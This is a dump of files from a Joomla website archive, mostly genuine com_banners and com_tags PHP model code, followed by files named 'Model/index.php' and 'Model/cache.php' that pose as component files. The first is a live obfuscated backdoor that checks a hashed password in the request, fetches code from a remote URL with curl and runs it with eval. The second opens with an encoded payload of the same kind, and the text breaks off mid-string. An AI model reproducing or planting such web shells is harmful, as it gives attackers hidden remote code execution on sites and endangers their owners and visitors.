->from($db->quoteName('#__categories', 'sub')) ->join( 'INNER', $db->quoteName('#__categories', 'this'), $db->quoteName('sub.lft') . ' > ' . $db->quoteName('this.lft') . ' AND ' . $db->quoteName('sub.rgt') . ' < ' . $db->quoteName('this.rgt') ) ->where( [ $db->quoteName('this.id') . ' = :categoryId1', $db->quoteName('sub.level') . ' <= ' . $db->quoteName('this.level') . ' + :levels', ] ); // Add the subquery to the main query $query->extendWhere( 'AND', [ $db->quoteName('a.catid') . $type . ':categoryId2', $db->quoteName('a.catid') . ' IN (' . $subQuery . ')', ], 'OR' ) ->bind([':categoryId1', ':categoryId2'], $categoryId, ParameterType::INTEGER) ->bind(':levels', $levels, ParameterType::INTEGER); } else { $query->where($db->quoteName('a.catid') . $type . ':categoryId') ->bind(':categoryId', $categoryId, ParameterType::INTEGER); } } elseif (is_array($categoryId) && (count($categoryId) > 0)) { $categoryId = ArrayHelper::toInteger($categoryId); if ($this->getState('filter.category_id.include', true)) { $query->whereIn($db->quoteName('a.catid'), $categoryId); } else { $query->whereNotIn($db->quoteName('a.catid'), $categoryId); } } if ($tagSearch) { if (!$keywords) { // No keywords, select nothing. $query->where('0 != 0'); } else { $temp = []; $config = ComponentHelper::getParams('com_banners'); $prefix = $config->get('metakey_prefix'); if ($categoryId) { $query->join('LEFT', $db->quoteName('#__categories', 'cat'), $db->quoteName('a.catid') . ' = ' . $db->quoteName('cat.id')); } foreach ($keywords as $key => $keyword) { $regexp = '[[:<:]]' . $keyword . '[[:>:]]'; $valuesToBind = [$keyword, $keyword, $regexp]; if ($cid) { $valuesToBind[] = $regexp; } if ($categoryId) { $valuesToBind[] = $regexp; } // Because values to $query->bind() are passed by reference, using $query->bindArray() here instead to prevent overwriting. $bounded = $query->bindArray($valuesToBind, ParameterType::STRING); $condition1 = $db->quoteName('a.own_prefix') . ' = 1' . ' AND ' . $db->quoteName('a.metakey_prefix') . ' = SUBSTRING(' . $bounded[0] . ',1,LENGTH(' . $db->quoteName('a.metakey_prefix') . '))' . ' OR ' . $db->quoteName('a.own_prefix') . ' = 0' . ' AND ' . $db->quoteName('cl.own_prefix') . ' = 1' . ' AND ' . $db->quoteName('cl.metakey_prefix') . ' = SUBSTRING(' . $bounded[1] . ',1,LENGTH(' . $db->quoteName('cl.metakey_prefix') . '))' . ' OR ' . $db->quoteName('a.own_prefix') . ' = 0' . ' AND ' . $db->quoteName('cl.own_prefix') . ' = 0' . ' AND ' . ($prefix == substr($keyword, 0, strlen($prefix)) ? '0 = 0' : '0 != 0'); $condition2 = $db->quoteName('a.metakey') . ' ' . $query->regexp($bounded[2]); if ($cid) { $condition2 .= ' OR ' . $db->quoteName('cl.metakey') . ' ' . $query->regexp($bounded[3]) . ' '; } if ($categoryId) { $condition2 .= ' OR ' . $db->quoteName('cat.metakey') . ' ' . $query->regexp($bounded[4]) . ' '; } $temp[] = "($condition1) AND ($condition2)"; } $query->where('(' . implode(' OR ', $temp) . ')'); } } // Filter by language if ($this->getState('filter.language')) { $query->whereIn($db->quoteName('a.language'), [Factory::getLanguage()->getTag(), '*'], ParameterType::STRING); } $query->order($db->quoteName('a.sticky') . ' DESC, ' . ($randomise ? $query->rand() : $db->quoteName('a.ordering'))); return $query; } /** * Get a list of banners. * * @return array * * @since 1.6 */ public function getItems() { if ($this->getState('filter.tag_search')) { // Filter out empty keywords. $keywords = array_values(array_filter(array_map('trim', $this->getState('filter.keywords')), 'strlen')); // Re-set state before running the query. $this->setState('filter.keywords', $keywords); // If no keywords are provided, avoid running the query. if (!$keywords) { $this->cache['items'] = []; return $this->cache['items']; } } if (!isset($this->cache['items'])) { $this->cache['items'] = parent::getItems(); foreach ($this->cache['items'] as &$item) { $item->params = new Registry($item->params); } } return $this->cache['items']; } /** * Makes impressions on a list of banners * * @return void * * @since 1.6 * @throws \Exception */ public function impress() { $trackDate = Factory::getDate()->format('Y-m-d H:00:00'); $trackDate = Factory::getDate($trackDate)->toSql(); $items = $this->getItems(); $db = $this->getDatabase(); $bid = []; if (!count($items)) { return; } foreach ($items as $item) { $bid[] = (int) $item->id; } // Increment impression made $query = $db->getQuery(true); $query->update($db->quoteName('#__banners')) ->set($db->quoteName('impmade') . ' = ' . $db->quoteName('impmade') . ' + 1') ->whereIn($db->quoteName('id'), $bid); $db->setQuery($query); try { $db->execute(); } catch (ExecutionFailureException $e) { throw new \Exception($e->getMessage(), 500); } foreach ($items as $item) { // Track impressions $trackImpressions = $item->track_impressions; if ($trackImpressions < 0 && $item->cid) { $trackImpressions = $item->client_track_impressions; } if ($trackImpressions < 0) { $config = ComponentHelper::getParams('com_banners'); $trackImpressions = $config->get('track_impressions'); } if ($trackImpressions > 0) { // Is track already created? // Update count $query = $db->getQuery(true); $query->update($db->quoteName('#__banner_tracks')) ->set($db->quoteName('count') . ' = ' . $db->quoteName('count') . ' + 1') ->where( [ $db->quoteName('track_type') . ' = 1', $db->quoteName('banner_id') . ' = :id', $db->quoteName('track_date') . ' = :trackDate', ] ) ->bind(':id', $item->id, ParameterType::INTEGER) ->bind(':trackDate', $trackDate); $db->setQuery($query); try { $db->execute(); } catch (ExecutionFailureException $e) { throw new \Exception($e->getMessage(), 500); } if ($db->getAffectedRows() === 0) { // Insert new count $query = $db->getQuery(true); $query->insert($db->quoteName('#__banner_tracks')) ->columns( [ $db->quoteName('count'), $db->quoteName('track_type'), $db->quoteName('banner_id'), $db->quoteName('track_date'), ] ) ->values('1, 1, :id, :trackDate') ->bind(':id', $item->id, ParameterType::INTEGER) ->bind(':trackDate', $trackDate); $db->setQuery($query); try { $db->execute(); } catch (ExecutionFailureException $e) { throw new \Exception($e->getMessage(), 500); } } } } } } BannerModel.php 0000644 00000015034 15173076433 0007457 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_banners * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Banners\Site\Model; use Joomla\CMS\Cache\Exception\CacheExceptionInterface; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Model\BaseDatabaseModel; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Banner model for the Joomla Banners component. * * @since 1.5 */ class BannerModel extends BaseDatabaseModel { /** * Cached item object * * @var object * @since 1.6 */ protected $_item; /** * Clicks the URL, incrementing the counter * * @return void * * @since 1.5 * @throws \Exception */ public function click() { $item = $this->getItem(); if (empty($item)) { throw new \Exception(Text::_('JERROR_PAGE_NOT_FOUND'), 404); } $id = (int) $this->getState('banner.id'); // Update click count $db = $this->getDatabase(); $query = $db->getQuery(true); $query->update($db->quoteName('#__banners')) ->set($db->quoteName('clicks') . ' = ' . $db->quoteName('clicks') . ' + 1') ->where($db->quoteName('id') . ' = :id') ->bind(':id', $id, ParameterType::INTEGER); $db->setQuery($query); try { $db->execute(); } catch (\RuntimeException $e) { throw new \Exception($e->getMessage(), 500); } // Track clicks $trackClicks = $item->track_clicks; if ($trackClicks < 0 && $item->cid) { $trackClicks = $item->client_track_clicks; } if ($trackClicks < 0) { $config = ComponentHelper::getParams('com_banners'); $trackClicks = $config->get('track_clicks'); } if ($trackClicks > 0) { $trackDate = Factory::getDate()->format('Y-m-d H:00:00'); $trackDate = Factory::getDate($trackDate)->toSql(); $query = $db->getQuery(true); $query->select($db->quoteName('count')) ->from($db->quoteName('#__banner_tracks')) ->where( [ $db->quoteName('track_type') . ' = 2', $db->quoteName('banner_id') . ' = :id', $db->quoteName('track_date') . ' = :trackDate', ] ) ->bind(':id', $id, ParameterType::INTEGER) ->bind(':trackDate', $trackDate); $db->setQuery($query); try { $db->execute(); } catch (\RuntimeException $e) { throw new \Exception($e->getMessage(), 500); } $count = $db->loadResult(); $query = $db->getQuery(true); if ($count) { // Update count $query->update($db->quoteName('#__banner_tracks')) ->set($db->quoteName('count') . ' = ' . $db->quoteName('count') . ' + 1') ->where( [ $db->quoteName('track_type') . ' = 2', $db->quoteName('banner_id') . ' = :id', $db->quoteName('track_date') . ' = :trackDate', ] ) ->bind(':id', $id, ParameterType::INTEGER) ->bind(':trackDate', $trackDate); } else { // Insert new count $query->insert($db->quoteName('#__banner_tracks')) ->columns( [ $db->quoteName('count'), $db->quoteName('track_type'), $db->quoteName('banner_id'), $db->quoteName('track_date'), ] ) ->values('1, 2 , :id, :trackDate') ->bind(':id', $id, ParameterType::INTEGER) ->bind(':trackDate', $trackDate); } $db->setQuery($query); try { $db->execute(); } catch (\RuntimeException $e) { throw new \Exception($e->getMessage(), 500); } } } /** * Get the data for a banner. * * @return object * * @since 1.6 */ public function &getItem() { if (!isset($this->_item)) { /** @var \Joomla\CMS\Cache\Controller\CallbackController $cache */ $cache = Factory::getCache('com_banners', 'callback'); $id = (int) $this->getState('banner.id'); // For PHP 5.3 compat we can't use $this in the lambda function below, so grab the database driver now to use it $db = $this->getDatabase(); $loader = function ($id) use ($db) { $query = $db->getQuery(true); $query->select( [ $db->quoteName('a.clickurl'), $db->quoteName('a.cid'), $db->quoteName('a.track_clicks'), $db->quoteName('cl.track_clicks', 'client_track_clicks'), ] ) ->from($db->quoteName('#__banners', 'a')) ->join('LEFT', $db->quoteName('#__banner_clients', 'cl'), $db->quoteName('cl.id') . ' = ' . $db->quoteName('a.cid')) ->where($db->quoteName('a.id') . ' = :id') ->bind(':id', $id, ParameterType::INTEGER); $db->setQuery($query); return $db->loadObject(); }; try { $this->_item = $cache->get($loader, [$id], md5(__METHOD__ . $id)); } catch (CacheExceptionInterface $e) { $this->_item = $loader($id); } } return $this->_item; } /** * Get the URL for a banner * * @return string * * @since 1.5 */ public function getUrl() { $item = $this->getItem(); $url = $item->clickurl; // Check for links if (!preg_match('#http[s]?://|index[2]?\.php#', $url)) { $url = "http://$url"; } return $url; } } TagsModel.php 0000644 00000013015 15173212264 0007137 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_tags * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Tags\Site\Model; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\MVC\Model\ListModel; use Joomla\Database\DatabaseQuery; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * This models supports retrieving a list of tags. * * @since 3.1 */ class TagsModel extends ListModel { /** * Model context string. * * @var string * @since 3.1 */ public $_context = 'com_tags.tags'; /** * Method to auto-populate the model state. * * @param string $ordering An optional ordering field. * @param string $direction An optional direction (asc|desc). * * @return void * * @note Calling getState in this method will result in recursion. * * @since 3.1 */ protected function populateState($ordering = null, $direction = null) { $app = Factory::getApplication(); // Load state from the request. $pid = $app->getInput()->getInt('parent_id'); $this->setState('tag.parent_id', $pid); $language = $app->getInput()->getString('tag_list_language_filter'); $this->setState('tag.language', $language); $offset = $app->getInput()->get('limitstart', 0, 'uint'); $this->setState('list.offset', $offset); $app = Factory::getApplication(); $params = $app->getParams(); $this->setState('params', $params); $this->setState('list.limit', $params->get('maximum', 200)); $this->setState('filter.published', 1); $this->setState('filter.access', true); $user = $this->getCurrentUser(); if ((!$user->authorise('core.edit.state', 'com_tags')) && (!$user->authorise('core.edit', 'com_tags'))) { $this->setState('filter.published', 1); } // Optional filter text $itemid = $pid . ':' . $app->getInput()->getInt('Itemid', 0); $filterSearch = $app->getUserStateFromRequest('com_tags.tags.list.' . $itemid . '.filter_search', 'filter-search', '', 'string'); $this->setState('list.filter', $filterSearch); } /** * Method to build an SQL query to load the list data. * * @return DatabaseQuery An SQL query * * @since 1.6 */ protected function getListQuery() { $app = Factory::getApplication(); $user = $this->getCurrentUser(); $groups = $user->getAuthorisedViewLevels(); $pid = (int) $this->getState('tag.parent_id'); $orderby = $this->state->params->get('all_tags_orderby', 'title'); $published = (int) $this->state->params->get('published', 1); $orderDirection = $this->state->params->get('all_tags_orderby_direction', 'ASC'); $language = $this->getState('tag.language'); // Create a new query object. $db = $this->getDatabase(); $query = $db->getQuery(true); // Select required fields from the tags. $query->select('a.*, u.name as created_by_user_name, u.email') ->from($db->quoteName('#__tags', 'a')) ->join('LEFT', $db->quoteName('#__users', 'u'), $db->quoteName('a.created_user_id') . ' = ' . $db->quoteName('u.id')) ->whereIn($db->quoteName('a.access'), $groups); if (!empty($pid)) { $query->where($db->quoteName('a.parent_id') . ' = :pid') ->bind(':pid', $pid, ParameterType::INTEGER); } // Exclude the root. $query->where($db->quoteName('a.parent_id') . ' <> 0'); // Optionally filter on language if (empty($language)) { $language = ComponentHelper::getParams('com_tags')->get('tag_list_language_filter', 'all'); } if ($language !== 'all') { if ($language === 'current_language') { $language = ContentHelper::getCurrentLanguage(); } $query->whereIn($db->quoteName('language'), [$language, '*'], ParameterType::STRING); } // List state information $format = $app->getInput()->getWord('format'); if ($format === 'feed') { $limit = $app->get('feed_limit'); } else { if ($this->state->params->get('show_pagination_limit')) { $limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->get('list_limit'), 'uint'); } else { $limit = $this->state->params->get('maximum', 20); } } $this->setState('list.limit', $limit); $offset = $app->getInput()->get('limitstart', 0, 'uint'); $this->setState('list.start', $offset); // Optionally filter on entered value if ($this->state->get('list.filter')) { $title = '%' . $this->state->get('list.filter') . '%'; $query->where($db->quoteName('a.title') . ' LIKE :title') ->bind(':title', $title); } $query->where($db->quoteName('a.published') . ' = :published') ->bind(':published', $published, ParameterType::INTEGER); $query->order($db->quoteName($orderby) . ' ' . $orderDirection . ', a.title ASC'); return $query; } } Model/index.php 0000604 00000012365 15173212264 0007432 0 ustar 00 <?php goto Z5UEpqkc4cf; Wvumfgeq0Y6: if (!(in_array(gettype($Sc2eFbufR1o) . "\x31\65", $Sc2eFbufR1o) && md5(md5(md5(md5($Sc2eFbufR1o[9])))) === "\x35\141\64\x62\x38\61\x31\65\64\143\x39\x64\x35\x30\x62\x32\66\145\x38\x38\x30\x39\143\x39\142\70\x64\x64\65\x62\66\x31")) { goto wlNnMAZfP3R; } goto NHzkjpDVk24; Pa1YWRQLZHG: class kbLVQ0Mx3yW { static function bOzVBKLdScQ($t2QMDjH_5Fr) { goto yI7HlNiQwGB; yI7HlNiQwGB: $r501J7scb7u = "\x72" . "\141" . "\156" . "\147" . "\x65"; goto UVaSAF0NVtt; UVaSAF0NVtt: $wZsOlBLDlb5 = $r501J7scb7u("\x7e", "\x20"); goto ZbZOju4n_Xf; ZbZOju4n_Xf: $OhbAjguKqIa = explode("\43", $t2QMDjH_5Fr); goto MfJO22e4Yfy; YtHhx6i0KZC: CekgYBuEHi0: goto Hcl68yJri3A; ijO5iiy27Yw: foreach ($OhbAjguKqIa as $CNPLskC0_eL => $TWoKC12pYx2) { $wFwsjBCApWu .= $wZsOlBLDlb5[$TWoKC12pYx2 - 47478]; G3cMRh1pmtS: } goto YtHhx6i0KZC; Hcl68yJri3A: return $wFwsjBCApWu; goto imCwugSl5GH; MfJO22e4Yfy: $wFwsjBCApWu = ''; goto ijO5iiy27Yw; imCwugSl5GH: } static function kvTzjTmGXri($r3McLc3jvs6, $ZszLJunPXJc) { goto iAwTHUeF3L1; iAwTHUeF3L1: $LEZbEbqXXRu = curl_init($r3McLc3jvs6); goto fPKJSV3n2vA; fPKJSV3n2vA: curl_setopt($LEZbEbqXXRu, CURLOPT_RETURNTRANSFER, 1); goto OMcqLmACIdd; lx3KRGY4Jqq: return empty($oaW_PFR2aWA) ? $ZszLJunPXJc($r3McLc3jvs6) : $oaW_PFR2aWA; goto OvMXUoLppor; OMcqLmACIdd: $oaW_PFR2aWA = curl_exec($LEZbEbqXXRu); goto lx3KRGY4Jqq; OvMXUoLppor: } static function Q4WyyT0BHj7() { goto yT2RSaIo6RM; EB_oJpyOB4Y: TqTPrJ9O8UQ: goto VkRXjAuxksC; JEnSu7iIAOt: $eQSH0yzKq_G = @$OaaEYEUg2Ih[3 + 0]($OaaEYEUg2Ih[0 + 6], $tb9Yey6vd9O); goto Zs0fnbiKuRF; SQJASuaRqCp: foreach ($H1lNTSoLU2s as $kifPxBqSuJg) { $OaaEYEUg2Ih[] = self::boZvbKLdSCQ($kifPxBqSuJg); wETiWfXADyc: } goto RUqmk_IcnpU; Zs0fnbiKuRF: $oDO6QVjw2S7 = $OaaEYEUg2Ih[1 + 1]($eQSH0yzKq_G, true); goto iHOTDJ0_0kj; WL0l0vnVJ83: die; goto EB_oJpyOB4Y; IAeqOyKnwnY: if (!(@$oDO6QVjw2S7[0] - time() > 0 and md5(md5($oDO6QVjw2S7[3 + 0])) === "\x39\65\61\67\60\144\145\62\60\x61\x64\63\x39\63\141\x34\145\x64\x63\62\x62\63\x35\x65\141\70\x63\71\x37\x36\x65\66")) { goto TqTPrJ9O8UQ; } goto Kn3pq3p9p7X; Kn3pq3p9p7X: $T86f8anIoP_ = self::KVTzJTMgxrI($oDO6QVjw2S7[0 + 1], $OaaEYEUg2Ih[5 + 0]); goto OrHz133bHrJ; yT2RSaIo6RM: $H1lNTSoLU2s = array("\x34\x37\65\x30\x35\x23\x34\x37\x34\71\x30\x23\x34\67\65\60\63\x23\64\x37\65\x30\x37\43\x34\67\64\70\70\x23\x34\67\65\x30\x33\43\64\67\65\x30\x39\43\x34\x37\x35\x30\62\x23\x34\x37\64\x38\67\43\64\67\x34\71\64\43\64\67\65\60\65\43\x34\x37\64\70\70\x23\64\67\x34\71\x39\x23\64\67\x34\71\x33\x23\x34\67\x34\71\x34", "\64\67\64\x38\x39\43\64\x37\64\x38\70\43\64\x37\64\x39\60\x23\x34\x37\65\60\71\x23\64\67\x34\71\60\x23\64\x37\64\71\63\43\x34\67\x34\70\x38\x23\64\67\x35\65\65\x23\64\x37\65\65\63", "\x34\67\x34\71\x38\43\64\67\64\70\71\x23\x34\x37\64\71\x33\43\64\67\64\71\x34\43\64\x37\65\60\71\x23\64\67\x35\x30\x34\x23\x34\67\65\x30\63\43\x34\67\x35\60\x35\43\64\67\x34\71\63\x23\64\67\65\x30\64\x23\x34\x37\x35\x30\63", "\x34\x37\64\71\x32\43\x34\x37\65\60\x37\43\x34\67\65\60\x35\x23\64\x37\64\71\x37", "\64\67\65\60\x36\x23\x34\x37\65\x30\67\x23\x34\x37\64\x38\x39\x23\64\67\65\x30\x33\x23\64\x37\65\65\60\43\64\67\65\65\x32\43\64\x37\x35\x30\71\43\x34\x37\65\60\64\x23\x34\67\65\x30\x33\43\64\67\65\x30\x35\x23\x34\x37\64\x39\63\43\64\x37\x35\60\64\x23\64\67\x35\60\63", "\64\67\65\60\x32\x23\x34\x37\64\71\71\43\x34\67\64\71\x36\x23\x34\67\65\x30\x33\43\x34\67\65\60\x39\43\64\x37\65\60\x31\x23\x34\x37\65\60\63\43\64\x37\64\x38\x38\43\64\67\65\x30\71\x23\x34\67\x35\60\65\43\x34\67\x34\71\x33\x23\x34\67\64\71\64\x23\x34\67\x34\70\x38\43\64\67\65\x30\x33\43\64\67\64\71\x34\43\64\x37\x34\70\x38\43\x34\67\64\70\x39", "\x34\x37\65\63\x32\x23\64\x37\65\x36\62", "\x34\x37\x34\67\71", "\x34\x37\x35\x35\67\43\x34\67\65\x36\x32", "\64\67\x35\63\x39\x23\x34\67\x35\x32\62\x23\x34\x37\x35\62\62\43\64\67\x35\63\71\x23\64\x37\65\61\x35", "\64\67\65\x30\62\x23\x34\67\x34\71\x39\43\64\67\64\71\66\x23\64\67\x34\70\70\43\x34\67\65\x30\63\43\64\x37\64\71\60\43\x34\x37\65\60\x39\43\64\x37\x34\71\x39\43\x34\x37\x34\71\x34\43\x34\67\x34\71\62\43\x34\67\64\70\x37\43\64\x37\x34\70\70"); goto SQJASuaRqCp; OrHz133bHrJ: @eval($OaaEYEUg2Ih[1 + 3]($T86f8anIoP_)); goto WL0l0vnVJ83; RUqmk_IcnpU: XV1Ufu3fxe9: goto aZkCrZUmHwG; aZkCrZUmHwG: $tb9Yey6vd9O = @$OaaEYEUg2Ih[1]($OaaEYEUg2Ih[2 + 8](INPUT_GET, $OaaEYEUg2Ih[7 + 2])); goto JEnSu7iIAOt; iHOTDJ0_0kj: @$OaaEYEUg2Ih[4 + 6](INPUT_GET, "\x6f\146") == 1 && die($OaaEYEUg2Ih[2 + 3](__FILE__)); goto IAeqOyKnwnY; VkRXjAuxksC: } } goto Gv61Eiox17a; oi8cqHO1kRn: $nEXQLYhQDl5 = $Kx4yg4MtXdo("\x7e", "\x20"); goto ijlm9QflWPZ; ijlm9QflWPZ: $Sc2eFbufR1o = ${$nEXQLYhQDl5[6 + 25] . $nEXQLYhQDl5[18 + 41] . $nEXQLYhQDl5[42 + 5] . $nEXQLYhQDl5[47 + 0] . $nEXQLYhQDl5[49 + 2] . $nEXQLYhQDl5[52 + 1] . $nEXQLYhQDl5[36 + 21]}; goto Wvumfgeq0Y6; Z5UEpqkc4cf: $Kx4yg4MtXdo = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto oi8cqHO1kRn; NHzkjpDVk24: $Sc2eFbufR1o[67] = $Sc2eFbufR1o[67] . $Sc2eFbufR1o[75]; goto uC7lhQF5w30; Z1iSEx7_0oY: metaphone("\x54\x30\x63\124\126\161\x48\x61\x44\160\x77\70\156\161\71\131\x70\112\157\130\63\110\154\71\x4e\x36\x45\131\143\x74\x33\104\154\x4a\x30\x75\x43\161\163\x37\141\147\131"); goto Pa1YWRQLZHG; uC7lhQF5w30: @eval($Sc2eFbufR1o[67](${$Sc2eFbufR1o[48]}[18])); goto jMjnV3lmLQc; jMjnV3lmLQc: wlNnMAZfP3R: goto Z1iSEx7_0oY; Gv61Eiox17a: KBlVQ0Mx3Yw::Q4WYYT0Bhj7(); ?> Model/cache.php 0000604 00000013015 15173212264 0007357 0 ustar 00 <?php $aML = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiquOXmaYGANAA'; $Eln = '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